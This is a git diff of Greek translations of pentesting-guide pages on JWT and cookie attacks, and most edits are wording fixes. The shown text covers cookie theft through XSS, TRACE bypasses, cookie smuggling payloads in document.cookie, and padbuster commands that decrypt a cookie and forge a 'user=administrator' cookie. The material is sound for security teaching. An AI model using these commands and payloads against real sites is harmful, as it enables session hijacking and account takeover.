+222,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16)); ### JWT Καταχωρημένες αξιώσεις + {{#ref}} https://www.iana.org/assignments/jwt/jwt.xhtml#claims {{#endref}} @@ -230,18 +231,19 @@ https://www.iana.org/assignments/jwt/jwt.xhtml#claims **Επιθέσεις Διασύνδεσης Υπηρεσιών** -Έχει παρατηρηθεί ότι ορισμένες διαδικτυακές εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιπτώσεις όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, έγινε αποδεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας τρίτης υπηρεσίας, θα πρέπει να διερευνηθεί η δυνατότητα εγγραφής σε έναν λογαριασμό σε άλλο πελάτη αυτής της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/email. Στη συνέχεια, θα πρέπει να γίνει μια προσπάθεια επανάληψης του αποκτηθέντος token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται αποδεκτό. +Έχει παρατηρηθεί ότι ορισμένες διαδικτυακές εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιπτώσεις όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, έγινε αποδεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας τρίτης υπηρεσίας, θα πρέπει να διερευνηθεί η δυνατότητα εγγραφής σε έναν λογαριασμό σε άλλο πελάτη αυτής της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/ηλεκτρονικό ταχυδρομείο. Στη συνέχεια, θα πρέπει να γίνει μια προσπάθεια επανάληψης του αποκτηθέντος token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται αποδεκτό. -- Ένα κρίσιμο ζήτημα μπορεί να υποδεικνύεται από την αποδοχή του token σας, επιτρέποντας ενδεχομένως την παραποίηση οποιουδήποτε λογαριασμού χρήστη. Ωστόσο, θα πρέπει να σημειωθεί ότι μπορεί να απαιτείται άδεια για ευρύτερη δοκιμή εάν εγγραφείτε σε μια τρίτη εφαρμογή, καθώς αυτό θα μπορούσε να εισέλθει σε μια νομική γκρίζα περιοχή. +- Ένα κρίσιμο ζήτημα μπορεί να υποδειχθεί από την αποδοχή του token σας, επιτρέποντας ενδεχομένως την παραποίηση οποιουδήποτε λογαριασμού χρήστη. Ωστόσο, θα πρέπει να σημειωθεί ότι μπορεί να απαιτείται άδεια για ευρύτερη δοκιμή εάν εγγραφείτε σε μια τρίτη εφαρμογή, καθώς αυτό θα μπορούσε να εισέλθει σε μια νομική γκρίζα περιοχή. -**Έλεγχος Λήξης Tokens** +**Έλεγχος Λήξης των Tokens** -Η λήξη του token ελέγχεται χρησιμοποιώντας την αξίωση "exp" Payload. Δεδομένου ότι τα JWT χρησιμοποιούνται συχνά χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική διαχείριση. Σε πολλές περιπτώσεις, η σύλληψη και η επανάληψη του JWT άλλου χρήστη θα μπορούσε να επιτρέψει την ταυτοποίηση αυτού του χρήστη. Το JWT RFC προτείνει την μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας την αξίωση "exp" για να ορίσετε μια ώρα λήξης για το token. Επιπλέον, η εφαρμογή σχετικών ελέγχων από την εφαρμογή για να διασφαλιστεί η επεξεργασία αυτής της τιμής και η απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια αξίωση "exp" και οι περιορισμοί χρόνου δοκιμών το επιτρέπουν, συνιστάται η αποθήκευση του token και η επανάληψή του μετά την παρέλευση της ώρας λήξης. Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης χρονοσήμανσης και του ελέγχου λήξης (χρονοσήμανση σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας την επιλογή -R του jwt_tool. +Η λήξη του token ελέγχεται χρησιμοποιώντας την αξίωση "exp" Payload. Δεδομένου ότι τα JWT χρησιμοποιούνται συχνά χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική διαχείριση. Σε πολλές περιπτώσεις, η σύλληψη και η επανάληψη του JWT άλλου χρήστη θα μπορούσε να επιτρέψει την ταυτοποίηση αυτού του χρήστη. Το JWT RFC προτείνει την μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας την αξίωση "exp" για να ορίσετε μια ώρα λήξης για το token. Επιπλέον, η εφαρμογή σχετικών ελέγχων από την εφαρμογή για να διασφαλιστεί η επεξεργασία αυτής της τιμής και η απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια αξίωση "exp" και οι περιορισμοί χρόνου δοκιμών το επιτρέπουν, συνιστάται η αποθήκευση του token και η επανάληψή του μετά την παρέλευση της ώρας λήξης. Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης χρονικών σημείων και του ελέγχου λήξης (χρονικό σημείο σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας την επιλογή -R του jwt_tool. - Ένας κίνδυνος ασφαλείας μπορεί να υπάρχει εάν η εφαρμογή εξακολουθεί να επικυρώνει το token, καθώς αυτό μπορεί να υποδηλώνει ότι το token δεν θα μπορούσε ποτέ να λήξει. ### Εργαλεία + {{#ref}} https://github.com/ticarpi/jwt_tool {{#endref}} diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md index 86eab7bf3..48406ee0d 100644 --- a/src/pentesting-web/hacking-with-cookies/README.md +++ b/src/pentesting-web/hacking-with-cookies/README.md @@ -16,13 +16,13 @@ ### Path -Ένας συγκεκριμένος διαδρομή URL που πρέπει να είναι παρούσα στο ζητούμενο URL για να σταλεί η κεφαλίδα `Cookie` υποδεικνύεται από το χαρακτηριστικό `Path`. Αυτό το χαρακτηριστικό θεωρεί τον χαρακτήρα `/` ως διαχωριστικό καταλόγου, επιτρέποντας αντιστοιχίες και σε υποκαταλόγους. +Ένας συγκεκριμένος διαδρομή URL που πρέπει να είναι παρών στο ζητούμενο URL για να σταλεί η κεφαλίδα `Cookie` υποδεικνύεται από το χαρακτηριστικό `Path`. Αυτό το χαρακτηριστικό θεωρεί τον χαρακτήρα `/` ως διαχωριστικό καταλόγου, επιτρέποντας αντιστοιχίες σε υποκαταλόγους επίσης. ### Ordering Rules Όταν δύο cookies φέρουν το ίδιο όνομα, το cookie που επιλέγεται για αποστολή βασίζεται σε: -- Το cookie που ταιριάζει στη μεγαλύτερη διαδρομή στο ζητούμενο URL. +- Το cookie που ταιριάζει με τη μεγαλύτερη διαδρομή στο ζητούμενο URL. - Το πιο πρόσφατα ρυθμισμένο cookie αν οι διαδρομές είναι ταυτόσημες. ### SameSite @@ -32,7 +32,7 @@ - **Lax**: Επιτρέπει στο cookie να αποστέλλεται με αιτήματα GET που ξεκινούν από τρίτους ιστότοπους. - **None**: Επιτρέπει στο cookie να αποστέλλεται από οποιονδήποτε τρίτο τομέα. -Θυμηθείτε, ενώ ρυθμίζετε τα cookies, η κατανόηση αυτών των χαρακτηριστικών μπορεί να βοηθήσει να διασφαλιστεί ότι συμπεριφέρονται όπως αναμένεται σε διάφορα σενάρια. +Θυμηθείτε, ενώ ρυθμίζετε cookies, η κατανόηση αυτών των χαρακτηριστικών μπορεί να βοηθήσει να διασφαλιστεί ότι συμπεριφέρονται όπως αναμένεται σε διάφορα σενάρια. | **Request Type** | **Example Code** | **Cookies Sent When** | | ---------------- | ---------------------------------- | --------------------- | @@ -47,8 +47,8 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\ Ένα cookie με το χαρακτηριστικό _**SameSite**_ θα **μειώσει τις επιθέσεις CSRF** όπου απαιτείται μια συνδεδεμένη συνεδρία. -**\*Σημειώστε ότι από το Chrome80 (Φεβ/2019) η προεπιλεγμένη συμπεριφορά ενός cookie χωρίς χαρακτηριστικό SameSite** **θα είναι lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ -Σημειώστε ότι προσωρινά, μετά την εφαρμογή αυτής της αλλαγής, τα **cookies χωρίς πολιτική SameSite** **στο Chrome θα** **θεωρούνται ως None** κατά τη διάρκεια των **πρώτων 2 λεπτών και στη συνέχεια ως Lax για αιτήματα POST διασύνδεσης κορυφαίου επιπέδου.** +**\*Σημειώστε ότι από το Chrome80 (Φεβ/2019) η προεπιλεγμένη συμπεριφορά ενός cookie χωρίς χαρακτηριστικό cookie samesite** **θα είναι lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ +Σημειώστε ότι προσωρινά, μετά την εφαρμογή αυτής της αλλαγής, τα **cookies χωρίς πολιτική SameSite** **στο Chrome θα θεωρούνται** **ως None** κατά τη διάρκεια των **πρώτων 2 λεπτών και στη συνέχεια ως Lax για αιτήματα POST διασύνδεσης κορυφαίου επιπέδου.** ## Cookies Flags @@ -60,9 +60,10 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook - Αν η σελίδα **στέλνει τα cookies ως απάντηση** σε αιτήματα (για παράδειγμα σε μια σελίδα **PHPinfo**), είναι δυνατόν να εκμεταλλευτείτε το XSS για να στείλετε ένα αίτημα σε αυτή τη σελίδα και να **κλέψετε τα cookies** από την απάντηση (ελέγξτε ένα παράδειγμα στο [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)). - Αυτό μπορεί να παρακαμφθεί με **TRACE** **HTTP** αιτήματα καθώς η απάντηση από τον διακομιστή (αν αυτή η μέθοδος HTTP είναι διαθέσιμη) θα αντικατοπτρίζει τα cookies που στάλθηκαν. Αυτή η τεχνική ονομάζεται **Cross-Site Tracking**. -- Αυτή η τεχνική αποφεύγεται από **σύγχρονους περιηγητές με το να μην επιτρέπουν την αποστολή ενός TRACE** αιτήματος από JS. Ωστόσο, έχουν βρεθεί ορισμένες παρακάμψεις σε συγκεκριμένο λογισμικό όπως η αποστολή `\r\nTRACE` αντί για `TRACE` στο IE6.0 SP2. +- Αυτή η τεχνική αποφεύγεται από **σύγχρονους περιηγητές μη επιτρέποντας την αποστολή ενός TRACE** αιτήματος από JS. Ωστόσο, έχουν βρεθεί ορισμένες παρακάμψεις σε συγκεκριμένο λογισμικό όπως η αποστολή `\r\nTRACE` αντί για `TRACE` στο IE6.0 SP2. - Ένας άλλος τρόπος είναι η εκμετάλλευση ευπαθειών μηδενικής ημέρας στους περιηγητές. -- Είναι δυνατόν να **επικαλύψετε τα HttpOnly cookies** εκτελώντας μια επίθεση υπερχείλισης Cookie Jar: +- Είναι δυνατόν να **επικαλύψετε τα HttpOnly cookies** εκτελώντας μια επίθεση Cookie Jar overflow: + {{#ref}} cookie-jar-overflow.md @@ -72,28 +73,28 @@ cookie-jar-overflow.md ### Secure -Η αίτηση θα **στείλει** το cookie μόνο σε μια HTTP αίτηση εάν η αίτηση μεταδίδεται μέσω ενός ασφαλούς καναλιού (συνήθως **HTTPS**). +Το αίτημα θα **στείλει** το cookie σε ένα HTTP αίτημα μόνο εάν το αίτημα μεταδίδεται μέσω ενός ασφαλούς καναλιού (συνήθως **HTTPS**). ## Cookies Prefixes -Τα cookies που αρχίζουν με `__Secure-` απαιτείται να ρυθμιστούν μαζί με τη σημαία `secure` από σελίδες που είναι ασφαλείς μέσω HTTPS. +Τα cookies που έχουν πρόθεμα `__Secure-` απαιτείται να ρυθμιστούν μαζί με τη σημαία `secure` από σελίδες που είναι ασφαλισμένες μέσω HTTPS. -Για τα cookies που αρχίζουν με `__Host-`, πρέπει να πληρούνται αρκετές προϋποθέσεις: +Για τα cookies που έχουν πρόθεμα `__Host-`, πρέπει να πληρούνται αρκετές προϋποθέσεις: - Πρέπει να ρυθμιστούν με τη σημαία `secure`. -- Πρέπει να προέρχονται από μια σελίδα ασφαλή μέσω HTTPS. +- Πρέπει να προέρχονται από μια σελίδα ασφαλισμένη μέσω HTTPS. - Απαγορεύεται να καθορίζουν ένα domain, αποτρέποντας τη μετάδοσή τους σε υποτομείς. - Η διαδρομή για αυτά τα cookies πρέπει να ρυθμιστεί σε `/`. -Είναι σημαντικό να σημειωθεί ότι τα cookies που αρχίζουν με `__Host-` δεν επιτρέπεται να αποστέλλονται σε υπερτομείς ή υποτομείς. Αυτός ο περιορισμός βοηθά στην απομόνωση των cookies εφαρμογής. Έτσι, η χρήση του προθέματος `__Host-` για όλα τα cookies εφαρμογής μπορεί να θεωρηθεί καλή πρακτική για την ενίσχυση της ασφάλειας και της απομόνωσης. +Είναι σημαντικό να σημειωθεί ότι τα cookies που έχουν πρόθεμα `__Host-` δεν επιτρέπεται να αποστέλλονται σε υπερτομείς ή υποτομείς. Αυτός ο περιορισμός βοηθά στην απομόνωση των cookies εφαρμογής. Έτσι, η χρήση του προθέματος `__Host-` για όλα τα cookies εφαρμογής μπορεί να θεωρηθεί καλή πρακτική για την ενίσχυση της ασφάλειας και της απομόνωσης. ### Overwriting cookies -Έτσι, μία από τις προστασίες των cookies που αρχίζουν με `__Host-` είναι να αποτρέπουν την επικάλυψή τους από υποτομείς. Αποτρέποντας για παράδειγμα [**Cookie Tossing attacks**](cookie-tossing.md). Στην ομιλία [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) παρουσιάζεται ότι ήταν δυνατό να ρυθμιστούν cookies με πρόθεμα \_\_HOST- από υποτομέα, παραπλανώντας τον αναλυτή, για παράδειγμα, προσθέτοντας "=" στην αρχή ή στην αρχή και στο τέλος...: +Έτσι, μία από τις προστασίες των cookies με πρόθεμα `__Host-` είναι να αποτρέπουν την επικάλυψή τους από υποτομείς. Αποτρέποντας για παράδειγμα [**Cookie Tossing attacks**](cookie-tossing.md). Στην ομιλία [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) παρουσιάζεται ότι ήταν δυνατόν να ρυθμιστούν cookies με πρόθεμα \_\_HOST- από υποτομέα, παραπλανώντας τον αναλυτή, για παράδειγμα, προσθέτοντας "=" στην αρχή ή στην αρχή και στο τέλος...:
-Ή σε PHP ήταν δυνατό να προστεθούν **άλλοι χαρακτήρες στην αρχή** του ονόματος cookie που θα αντικαθίσταντο με χαρακτήρες υπογράμμισης, επιτρέποντας την επικάλυψη των `__HOST-` cookies: +Ή σε PHP ήταν δυνατόν να προστεθούν **άλλοι χαρακτήρες στην αρχή** του ονόματος του cookie που θα αντικαθίσταντο με χαρακτήρες υπογράμμισης, επιτρέποντας την επικάλυψη των cookies `__HOST-`:
@@ -111,9 +112,10 @@ cookie-jar-overflow.md ### Session Fixation -Σε αυτό το σενάριο, ένας επιτιθέμενος παραπλανεί ένα θύμα να χρησιμοποιήσει ένα συγκεκριμένο cookie για να συνδεθεί. Αν η εφαρμογή δεν αναθέσει ένα νέο cookie κατά την είσοδο, ο επιτιθέμενος, που κατέχει το αρχικό cookie, μπορεί να προσποιηθεί το θύμα. Αυτή η τεχνική βασίζεται στο να συνδεθεί το θύμα με ένα cookie που παρέχεται από τον επιτιθέμενο. +Σε αυτό το σενάριο, ένας επιτιθέμενος παραπλανεί ένα θύμα να χρησιμοποιήσει ένα συγκεκριμένο cookie για να συνδεθεί. Αν η εφαρμογή δεν αναθέσει ένα νέο cookie κατά την είσοδο, ο επιτιθέμενος, κατέχοντας το αρχικό cookie, μπορεί να προσποιηθεί το θύμα. Αυτή η τεχνική βασίζεται στο γεγονός ότι το θύμα συνδέεται με ένα cookie που παρέχεται από τον επιτιθέμενο. + +Αν βρείτε ένα **XSS σε έναν υποτομέα** ή ελέγχετε έναν υποτομέα, διαβάστε: -Αν βρείτε ένα **XSS σε υποτομέα** ή ελέγχετε έναν υποτομέα, διαβάστε: {{#ref}} cookie-tossing.md @@ -123,7 +125,8 @@ cookie-tossing.md Εδώ, ο επιτιθέμενος πείθει το θύμα να χρησιμοποιήσει το cookie συνεδρίας του επιτιθέμενου. Το θύμα, πιστεύοντας ότι είναι συνδεδεμένο στον δικό του λογαριασμό, θα εκτελέσει ακούσια ενέργειες στο πλαίσιο του λογαριασμού του επιτιθέμενου. -Αν βρείτε ένα **XSS σε υποτομέα** ή ελέγχετε έναν υποτομέα, διαβάστε: +Αν βρείτε ένα **XSS σε έναν υποτομέα** ή ελέγχετε έναν υποτομέα, διαβάστε: + {{#ref}} cookie-tossing.md @@ -137,7 +140,7 @@ cookie-tossing.md ### Cross-Site Request Forgery (CSRF) -Αυτή η επίθεση αναγκάζει έναν συνδεδεμένο χρήστη να εκτελέσει ανεπιθύμητες ενέργειες σε μια διαδικτυακή εφαρμογή στην οποία είναι αυτή τη στιγμή αυθεντικοποιημένος. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν τα cookies που αποστέλλονται αυτόματα με κάθε αίτημα στον ευάλωτο ιστότοπο. +Αυτή η επίθεση αναγκάζει έναν συνδεδεμένο χρήστη να εκτελέσει ανεπιθύμητες ενέργειες σε μια διαδικτυακή εφαρμογή στην οποία είναι αυτή τη στιγμή αυθεντικοποιημένος. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν τα cookies που αποστέλλονται αυτόματα με κάθε αίτημα προς τον ευάλωτο ιστότοπο. ### Empty Cookies @@ -167,7 +170,7 @@ document.cookie = "\ud800=meep" #### Cookie Smuggling λόγω προβλημάτων ανάλυσης -(Δείτε περισσότερες λεπτομέρειες στην [πρωτότυπη έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Πολλοί διακομιστές ιστού, συμπεριλαμβανομένων αυτών από Java (Jetty, TomCat, Undertow) και Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), χειρίζονται λανθασμένα τις συμβολοσειρές cookie λόγω παρωχημένης υποστήριξης RFC2965. Διαβάζουν μια τιμή cookie με διπλά εισαγωγικά ως μία μόνο τιμή, ακόμη και αν περιλαμβάνει ερωτηματικά, τα οποία κανονικά θα έπρεπε να διαχωρίζουν τα ζεύγη κλειδιού-τιμής: +(Δείτε περισσότερες λεπτομέρειες στην [πρωτότυπη έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Πολλοί διακομιστές ιστού, συμπεριλαμβανομένων αυτών από Java (Jetty, TomCat, Undertow) και Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), χειρίζονται λανθασμένα τις συμβολοσειρές cookie λόγω παρωχημένης υποστήριξης του RFC2965. Διαβάζουν μια τιμή cookie με διπλά εισαγωγικά ως μία μόνο τιμή, ακόμη και αν περιλαμβάνει ερωτηματικά, τα οποία κανονικά θα έπρεπε να διαχωρίζουν τα ζεύγη κλειδιού-τιμής: ``` RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; ``` @@ -193,9 +196,9 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; - Βρείτε ένα μέρος όπου ένα φαινομενικά άχρηστο **cookie ανακλάται στην απόκριση** - **Δημιουργήστε ένα cookie που ονομάζεται `$Version`** με τιμή `1` (μπορείτε να το κάνετε αυτό σε μια επίθεση XSS από JS) με μια πιο συγκεκριμένη διαδρομή ώστε να πάρει την αρχική θέση (ορισμένα πλαίσια όπως η Python δεν χρειάζονται αυτό το βήμα) -- **Δημιουργήστε το cookie που ανακλάται** με μια τιμή που αφήνει **ανοιχτές διπλές εισαγωγές** και με μια συγκεκριμένη διαδρομή ώστε να τοποθετηθεί στη βάση δεδομένων cookies μετά το προηγούμενο (`$Version`) +- **Δημιουργήστε το cookie που ανακλάται** με μια τιμή που αφήνει **ανοιχτές διπλές εισαγωγικά** και με μια συγκεκριμένη διαδρομή ώστε να τοποθετηθεί στη βάση δεδομένων cookies μετά το προηγούμενο (`$Version`) - Στη συνέχεια, το νόμιμο cookie θα έρθει επόμενο στη σειρά -- **Δημιουργήστε ένα ψεύτικο cookie που κλείνει τις διπλές εισαγωγές** μέσα στην τιμή του +- **Δημιουργήστε ένα ψεύτικο cookie που κλείνει τις διπλές εισαγωγικά** μέσα στην τιμή του Με αυτόν τον τρόπο, το cookie του θύματος παγιδεύεται μέσα στην νέα έκδοση cookie 1 και θα ανακλάται όποτε ανακλάται. ```javascript @@ -223,7 +226,7 @@ document.cookie = `param2=end";`; #### Bypassing value analysis with cookie splitting -Τέλος, διάφορες πίσω πόρτες θα συνδυάζουν σε μια συμβολοσειρά διαφορετικά cookies που έχουν περάσει σε διαφορετικούς κεφαλίδες cookie όπως σε: +Τέλος, διάφορες πίσω πόρτες θα συνδυάζουν σε μια συμβολοσειρά διαφορετικά cookies που έχουν περάσει σε διαφορετικούς κεφαλίδες cookies όπως σε: ``` GET / HTTP/1.1 Host: example.com @@ -247,13 +250,13 @@ Resulting cookie: name=eval('test//, comment') => allowed - Ελέγξτε αν το cookie έχει οποιαδήποτε πληροφορία μέσα του και προσπαθήστε να το τροποποιήσετε. - Προσπαθήστε να δημιουργήσετε αρκετούς λογαριασμούς με σχεδόν το ίδιο όνομα χρήστη και ελέγξτε αν μπορείτε να δείτε ομοιότητες. - Ελέγξτε την επιλογή "**remember me**" αν υπάρχει για να δείτε πώς λειτουργεί. Αν υπάρχει και μπορεί να είναι ευάλωτη, χρησιμοποιήστε πάντα το cookie του **remember me** χωρίς κανένα άλλο cookie. -- Ελέγξτε αν το προηγούμενο cookie λειτουργεί ακόμα και μετά την αλλαγή του κωδικού πρόσβασης. +- Ελέγξτε αν το προηγούμενο cookie λειτουργεί ακόμα και μετά την αλλαγή του κωδικού. #### **Προχωρημένες επιθέσεις σε cookies** -Αν το cookie παραμένει το ίδιο (ή σχεδόν) όταν συνδέεστε, αυτό πιθανώς σημαίνει ότι το cookie σχετίζεται με κάποιο πεδίο του λογαριασμού σας (πιθανώς το όνομα χρήστη). Τότε μπορείτε: +Αν το cookie παραμένει το ίδιο (ή σχεδόν) όταν συνδέεστε, αυτό πιθανώς σημαίνει ότι το cookie σχετίζεται με κάποιο πεδίο του λογαριασμού σας (πιθανώς το όνομα χρήστη). Τότε μπορείτε να: -- Προσπαθήστε να δημιουργήσετε πολλούς **λογαριασμούς** με ονόματα χρήστη πολύ **παρόμοια** και προσπαθήστε να **μαντέψετε** πώς λειτουργεί ο αλγόριθμος. +- Προσπαθήσετε να δημιουργήσετε πολλούς **λογαριασμούς** με ονόματα χρήστη πολύ **παρόμοια** και να προσπαθήσετε να **μαντέψετε** πώς λειτουργεί ο αλγόριθμος. - Προσπαθήστε να **bruteforce το όνομα χρήστη**. Αν το cookie αποθηκεύεται μόνο ως μέθοδος αυθεντικοποίησης για το όνομα χρήστη σας, τότε μπορείτε να δημιουργήσετε έναν λογαριασμό με το όνομα χρήστη "**Bmin**" και να **bruteforce** κάθε **bit** του cookie σας γιατί ένα από τα cookies που θα δοκιμάσετε θα είναι αυτό που ανήκει στον "**admin**". - Προσπαθήστε **Padding** **Oracle** (μπορείτε να αποκρυπτογραφήσετε το περιεχόμενο του cookie). Χρησιμοποιήστε **padbuster**. @@ -267,11 +270,11 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 ``` -Padbuster θα κάνει αρκετές προσπάθειες και θα σας ρωτήσει ποια είναι η συνθήκη σφάλματος (αυτή που δεν είναι έγκυρη). +Το Padbuster θα κάνει αρκετές προσπάθειες και θα σας ρωτήσει ποια είναι η συνθήκη σφάλματος (αυτή που δεν είναι έγκυρη). -Στη συνέχεια, θα αρχίσει να αποκρυπτογραφεί το cookie (μπορεί να διαρκέσει αρκετά λεπτά). +Στη συνέχεια, θα ξεκινήσει την αποκρυπτογράφηση του cookie (μπορεί να διαρκέσει αρκετά λεπτά). -Εάν η επίθεση έχει εκτελεστεί με επιτυχία, τότε μπορείτε να προσπαθήσετε να κρυπτογραφήσετε μια συμβολοσειρά της επιλογής σας. Για παράδειγμα, αν θέλετε να **encrypt** **user=administrator** +Εάν η επίθεση έχει εκτελεστεί επιτυχώς, τότε μπορείτε να προσπαθήσετε να κρυπτογραφήσετε μια συμβολοσειρά της επιλογής σας. Για παράδειγμα, αν θέλετε να **κρυπτογραφήσετε** **user=administrator**. ``` padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator ``` @@ -294,7 +297,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB **Πώς να ανιχνεύσετε και να επιτεθείτε:** -Δημιουργήστε 2 χρήστες με σχεδόν τα ίδια δεδομένα (όνομα χρήστη, κωδικό πρόσβασης, email, κ.λπ.) και προσπαθήστε να ανακαλύψετε κάποιο μοτίβο μέσα στο δεδομένο cookie. +Δημιουργήστε 2 χρήστες με σχεδόν τα ίδια δεδομένα (όνομα χρήστη, κωδικό, email, κ.λπ.) και προσπαθήστε να ανακαλύψετε κάποιο μοτίβο μέσα στο δεδομένο cookie. Δημιουργήστε έναν χρήστη που ονομάζεται για παράδειγμα "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" και ελέγξτε αν υπάρχει κάποιο μοτίβο στο cookie (καθώς το ECB κρυπτογραφεί με το ίδιο κλειδί κάθε μπλοκ, τα ίδια κρυπτογραφημένα bytes θα μπορούσαν να εμφανιστούν αν το όνομα χρήστη είναι κρυπτογραφημένο). diff --git a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md index 52f15894a..03afa9211 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md @@ -14,39 +14,41 @@ Αυτό μπορεί να είναι επικίνδυνο καθώς ο επιτιθέμενος μπορεί να είναι σε θέση να: - **Σταθεροποιήσει το cookie του θύματος στον λογαριασμό του επιτιθέμενου** έτσι ώστε αν ο χρήστης δεν το παρατηρήσει, **να εκτελεί τις ενέργειες στον λογαριασμό του επιτιθέμενου** και ο επιτιθέμενος μπορεί να αποκτήσει κάποιες ενδιαφέρουσες πληροφορίες (να ελέγξει την ιστορία των αναζητήσεων του χρήστη στην πλατφόρμα, το θύμα μπορεί να έχει ορίσει την πιστωτική του κάρτα στον λογαριασμό...) -- Ένα παράδειγμα αυτού [μπορεί να βρεθεί εδώ](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) όπου ο επιτιθέμενος ορίζει το cookie του σε συγκεκριμένες ενότητες που θα χρησιμοποιήσει το θύμα για να εξουσιοδοτήσει **πρόσβαση στα git repos του αλλά από τον λογαριασμό του επιτιθέμενου** καθώς θα ορίζει τα cookies του στα απαραίτητα endpoints. +- Ένα παράδειγμα αυτού [μπορεί να βρεθεί εδώ](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) όπου ο επιτιθέμενος ορίζει το cookie του σε συγκεκριμένες ενότητες που θα χρησιμοποιήσει ένα θύμα για να εξουσιοδοτήσει **πρόσβαση στα git repos του αλλά από τον λογαριασμό του επιτιθέμενου** καθώς θα ορίζει τα cookies του στα απαραίτητα endpoints. - Εάν το **cookie δεν αλλάξει μετά την είσοδο**, ο επιτιθέμενος μπορεί απλά να **σταθεροποιήσει ένα cookie (session-fixation)**, να περιμένει μέχρι το θύμα να συνδεθεί και στη συνέχεια **να χρησιμοποιήσει αυτό το cookie για να συνδεθεί ως το θύμα**. - Μερικές φορές, ακόμη και αν τα session cookies αλλάζουν, ο επιτιθέμενος χρησιμοποιεί το προηγούμενο και θα λάβει και το νέο. - Εάν το **cookie ορίζει κάποια αρχική τιμή** (όπως στο flask όπου το **cookie** μπορεί να **ορίσει** το **CSRF token** της συνεδρίας και αυτή η τιμή θα διατηρηθεί μετά την είσοδο του θύματος), ο **επιτιθέμενος μπορεί να ορίσει αυτή τη γνωστή τιμή και στη συνέχεια να την εκμεταλλευτεί** (σε αυτή την περίπτωση, ο επιτιθέμενος μπορεί να κάνει το χρήστη να εκτελέσει ένα CSRF αίτημα καθώς γνωρίζει το CSRF token). -- Ακριβώς όπως η ρύθμιση της τιμής, ο επιτιθέμενος θα μπορούσε επίσης να αποκτήσει ένα μη αυθεντικοποιημένο cookie που δημιουργήθηκε από τον διακομιστή, να αποκτήσει το CSRF token από αυτό και να το χρησιμοποιήσει. +- Ακριβώς όπως η ρύθμιση της τιμής, ο επιτιθέμενος θα μπορούσε επίσης να αποκτήσει ένα μη εξουσιοδοτημένο cookie που δημιουργήθηκε από τον διακομιστή, να αποκτήσει το CSRF token από αυτό και να το χρησιμοποιήσει. -### Παραγγελία Cookie +### Cookie Order Όταν ένας περιηγητής λαμβάνει δύο cookies με το ίδιο όνομα **που επηρεάζουν μερικώς την 